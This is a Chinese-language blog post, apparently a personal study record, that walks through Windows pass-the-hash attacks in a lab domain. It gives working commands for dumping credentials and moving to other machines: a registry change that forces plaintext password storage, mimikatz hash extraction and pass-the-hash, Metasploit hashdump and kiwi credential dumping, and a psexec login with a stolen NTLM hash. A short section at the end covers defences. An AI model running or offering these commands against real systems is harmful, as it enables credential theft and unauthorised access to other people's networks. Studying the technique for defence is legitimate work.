1. 程式人生 > >雜湊傳遞攻擊利用(Pass The Hash)

雜湊傳遞攻擊利用(Pass The Hash)

最近又複習了一下內網的相關知識,把以前的整理了一下發出來做個記錄。 # 0x01 雜湊傳遞攻擊概念 有一點內網滲透經驗的都應該聽說過雜湊傳遞攻擊,通過找到相應賬戶相關的密碼雜湊值(LM Hash,NTLM Hash)來進行未授權登陸。 可參考Wikipedia的介紹,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash 在域環境中,使用者登入計算機時使用的大都是域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼,因此,如果計算機的本地管理員賬號和密碼也是相同的,攻擊者就能使用雜湊傳遞攻擊的方法登陸內網中的其他計算機。 在Windows系統中,通常會使用NTLM身份認證,NTLM認證不使用明文口令,而是使用口令加密後的hash值,hash值由系統API生成(例如LsaLogonUser) 從Windows Vista和Windows Server 2008開始,微軟預設禁用LM hash.在Windows Server 2012 R2及之後版本的作業系統中,預設不會在記憶體中儲存明文密碼,Mimikatz 就讀不到密碼明文。此時可以通過修改登錄檔的方式抓取明文,但需要使用者重新登入後才能成功抓取。修改登錄檔命令為: ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f ``` 因此,攻擊者如果使用工具將雜湊值傳遞到其他計算機中,進行許可權驗證,就能夠在身份驗證的時候模擬該使用者(即跳過呼叫API生成hash的過程),實現對計算機的控制。 ## NTLM Hash與NTLM hash分為LM hash和NT hash,如果密碼長度大於15,那麼無法生成LM hash。 在Windows中,密碼Hash目前稱之為NTLM Hash,其中NTLM全稱是:“NT LAN Manager”。這個NTLM是一種網路認證協議,與NTLM Hash的關係就是:NTLM網路認證協議是以NTLM Hash作為根本憑證進行認證的協議。也就是說,NTLM與NTLM Hash相互對應。在本地認證的過程中,其實就是將使用者輸入的密碼轉換為NTLM Hash與SAM中的NTLM Hash進行比較。 注: mimikatz支援匯出記憶體中使用者的LM hash,但前提是Windows系統支援LM hash Windows Server 2008啟用LM hash的方法: gpedit.msc->計算機配置->Windows 設定->安全設定->本地策略->安全選項 找到網路安全︰ 不要在下次更改密碼儲存 LAN 管理器的雜湊值,選擇已禁用 系統下一次更改密碼後,就能夠匯出LM hash(已經被棄用了) ![](https://static01.imgkr.com/temp/64f69f2b65874d269d2499cb189871d9.png) # 0x02 利用方法 ## 1.首先就是神器mimikatz,但你首先得擁有本地管理員的執行的許可權。 ``` privilege::debug sekurlsa::logonpasswords ``` ![](https://static01.imgkr.com/temp/bf5b19412f4245b3b6ae80f41d322e40.png) 複製NTLM Hash的值 ``` sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390 ``` 完成之後會彈出cmd.exe,或者重新開一個命令列 ![](https://static01.imgkr.com/temp/6b6a18fb711047629bf6a65f25d49bb9.png) 也可以嘗試列出被雜湊傳遞攻擊的域內靶機的c盤內容 ![](https://static01.imgkr.com/temp/d46becf4bbfe43a0894dd051f892b2b9.png) ## 利用msf進行雜湊傳遞攻擊 ### msf內建的mimikatz獲取hash(需要管理員許可權) 在msf中也內建有mimikatz,以下命令都可以在msf中獲取hash ``` hashdump run hashdump run post/windows/gather/smart_hashdump 除了meterpreter自帶的,還可以通過載入mimikatz獲得: load mimikatz(必須,否則無以下命令) msv 獲取的是hash值 tspkg tspkg憑證相關的模組 wdigest 讀取記憶體中存放的賬號密碼明文資訊 kerberos kerberos相關的模組 ssp 獲取的是明文資訊 ``` mimikatz的原生命令在這裡有些改動 mimikatz_command 模組可以讓我們使用mimikatz的全部功能。 ``` meterpreter > mimikatz_command -f a:: 輸入一個錯誤的模組,可以列出所有模組 meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令 meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f handle::list 列出應用程序 meterpreter > mimikatz_command -f service::list 列出服務 ``` 例如 ``` mimikatz_command -f samdump::hashes 獲取hash ``` ![](https://static01.imgkr.com/temp/3ce71b45a162491190222a2c483cf407.png) 建議每種都試一下,可能因為windows版本的高低,有些情況一種命令獲取不到,比如我的win2003就只能用hashdump命令才能看到密碼hash, ![](https://static01.imgkr.com/temp/0e033e282d5a46118036139acec2c6dd.png) ![](https://static01.imgkr.com/temp/a6cfa0ea499b403a9c678c4ad0d3ffd7.png) ### msf的kiwi模組(需要系統許可權) kiwi就是msf內建的mimikatz模組的升級版 但是kiwi是預設載入32位系統的,所以如果目標主機是64位系統的話,直接預設載入該模組會導致很多功能無法使用。所以如果目標系統是64位的,則必須先檢視系統程序列表,然後用migrate命令將meterpreter程序遷移到一個64位程式的程序中,才能載入mimikatz並且檢視系統明文。如果目標系統是32位的,則沒有這個限制。 使用前先在meterpreter下載入kiwi模組 ![](https://static01.imgkr.com/temp/9c6477a2a3fb4fdebc0c920d7bbae71f.png) 使用命令`creds_kerberos`列舉所有kerberos憑據 ![](https://static01.imgkr.com/temp/7fc056779acf485b9b43eaf01d84f978.png) 可以看到我之前用msf內建的mimikatz沒有加載出來的密碼,現在明文加載出來了。 再來將使用者hash密碼加載出來`kiwi_cmd:執行mimikatz的命令,後面接mimikatz.exe的命令` ![](https://static01.imgkr.com/temp/5a934276ac7246adaa8a641463bda3dd.png) 可以看到成功列出使用者密碼hash kiwi模組命令集合 ``` creds_all: 列舉所有憑據 creds_kerberos:列舉所有kerberos憑據 creds_msv:列舉所有msv憑據 creds_ssp:列舉所有ssp憑據 creds_tspkg:列舉所有tspkg憑據 creds_wdigest:列舉所有wdigest憑據 dcsync: 通過DCSync檢索使用者帳戶資訊 dcsync_ntlm: 通過DCSync檢索使用者帳戶NTLM雜湊、SID和RID golden_ticket_create:建立黃金票據 kerberos_ticket_list:列舉kerberos票據 kerberos_ticket_purge:清除kerberos票據 kerberos_ticket_use:使用kerberos票據 kiwi_cmd:執行mimikatz的命令,後面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文 password_change:修改密碼 wifi_list: 列出當前使用者的wifi配置檔案 wifi_list_shared: 列出共享wifi配置檔案/編碼 ``` ### msf psexec模組 PsExec是sysinternals套件中的一款強大的軟體,通過他可以提權和執行遠端命令,對於批量大範圍的遠端運維能起到很好的效果,尤其是在域環境下。但現在,攻擊者漸漸開始使用psexec,通過命令列環境與目標靶機進行連線,甚至控制目標機器,而不需要通過遠端連線協議(RDP)進行圖形化設定,降低了因為惡意操作被管理員發現的可能性(因為PsExec是Windows提供的工具,所以防毒軟體可能會將其列入白名單) msf中有3個psexec模組都可以進行Hash傳遞利用: ``` # 執行單個命令的PTH模組 auxiliary/admin/smb/psexec_command # 執行直接就獲取到meterpreter的PTH模組 exploit/windows/smb/psexec # 支援對一個網段進行PTH進行驗證的模組 exploit/windows/smb/psexec_psh ``` 再使用pesxec模組之前要保證: 1. 開啟445埠 SMB服務 2. 開啟admin$共享 使用之前板塊獲取到的管理員NTLM Hash `Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390`這裡前半部分的LM Hash不重要,只要保證後半部分的NTML Hash正確就行。 ``` msf5 exploit(multi/handler) > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128 lhost => 192.168.5.128 msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11 rhost => 192.168.5.11 msf5 exploit(windows/smb/psexec) > set smbuser Administrator smbuser => Administrator msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390 smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390 msf5 exploit(windows/smb/psexec) > run ``` ![](https://static01.imgkr.com/temp/736dc44299bc49f39ea7e0caadd78034.png) ![](https://static01.imgkr.com/temp/0cfb573f40c147b78de8170e7967fe0d.png) 這裡還有很多不錯的獲取hash方法沒寫(主要是懶,用msf方便),比如PowerShell、WCE、AES-256金鑰雜湊傳遞、python第三方庫impacket下的secretsdump等等,以後有空再記錄吧..... # 0x03 防範措施 ## KB2871997補丁的影響 防範首先想到打補丁,微軟也早在2014年5月釋出了KB2871997補丁,該補丁禁止通過本地管理員許可權與遠端計算機進行連線,其後果就是:無法通過本地管理員許可權對遠端計算機使用Psexec、WMI、smbecec等,也無法訪問遠端的檔案共享等。 但實際上就算打了KB2871997補丁後,Administrator賬號(SID為500)也是例外的,使用該賬戶的NTLM Hash依然可以進行雜湊傳遞 ## 防禦 mimikatz 攻擊 mimikatz在抓取雜湊值或明文密碼時,需要用到Debug許可權(因為mimikatz需要和lsass程序進行互動,如果沒有Debug許可權,mimikatz將不能讀取lsass程序裡的密碼)。而Debug許可權歸本地管理員Administrator所有,目的是確定哪些使用者可以將偵錯程式附加到任何程序或核心中,但一般Administrator不會用到這個許可權(除非是系統程序)。 ![](https://static01.imgkr.com/temp/3b614ea3a13b43d3a0f1b20bc228ccb8.png) 所以在配置使用者許可權時,可以將擁有Debug許可權的本地管理員從Administrator組中移除。重啟系統之後,在執行mimikatz,在第一步"privilege::debug"時就會報錯了。 # 0x04 參考文獻 http://saucer-man.com/information_security/443.html#cl-11 https://saucer-man.com/information_security/79.html#cl-13 https://www.freebuf.com/articles/system/217681.html https://blog.csdn.net/qq_36119192/article/details/104802921 https://www.cnblogs.com/Mikasa-Ackerman/p/hou-shen-tou-zhong-de-mi-ma-zhua